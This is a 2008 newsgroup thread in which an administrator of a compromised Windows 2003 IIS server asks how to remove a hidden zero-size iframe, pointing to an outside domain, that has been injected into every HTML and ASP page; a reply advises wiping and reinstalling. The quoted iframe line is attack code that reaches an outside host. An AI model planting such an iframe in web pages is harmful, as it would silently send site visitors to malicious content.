IIS ATTACK

hi

we are using windows 2k3 r2 .
user complient slow response i run netstat found that 222.189.239.223
accessing to all port. we block ip address from corporate firewall .now
netstat is not showing connection from 222.189.239.223.but whenever user try
access website they are redirected to http://haoyundao.3322.org we i righ
click web page click on event source it is showing <iframe
src=http://haoyundao.3322.org/ width=0 height=0></iframe>.
i check hd & found that this <iframe src=http://haoyundao.3322.org/ width=0
height=0></iframe> is put on all html & asp .
now how to change it

regards
pankaj

Dave
Wed Jun 18 18:02:11 CDT 2008

unplug the server from the internet. reboot from clean installation media
and start over.

"pankajmcp" <pankajmcp@discussions.microsoft.com> wrote in message
news:6C83BA7D-618D-44AD-8852-C4A9CB1EF113@microsoft.com...
> hi
>
> we are using windows 2k3 r2 .
> user complient slow response i run netstat found that 222.189.239.223
> accessing to all port. we block ip address from corporate firewall .now
> netstat is not showing connection from 222.189.239.223.but whenever user
> try
> access website they are redirected to http://haoyundao.3322.org we i righ
> click web page click on event source it is showing <iframe
> src=http://haoyundao.3322.org/ width=0 height=0></iframe>.
> i check hd & found that this <iframe src=http://haoyundao.3322.org/
> width=0
> height=0></iframe> is put on all html & asp .
> now how to change it
>
> regards
> pankaj
>
>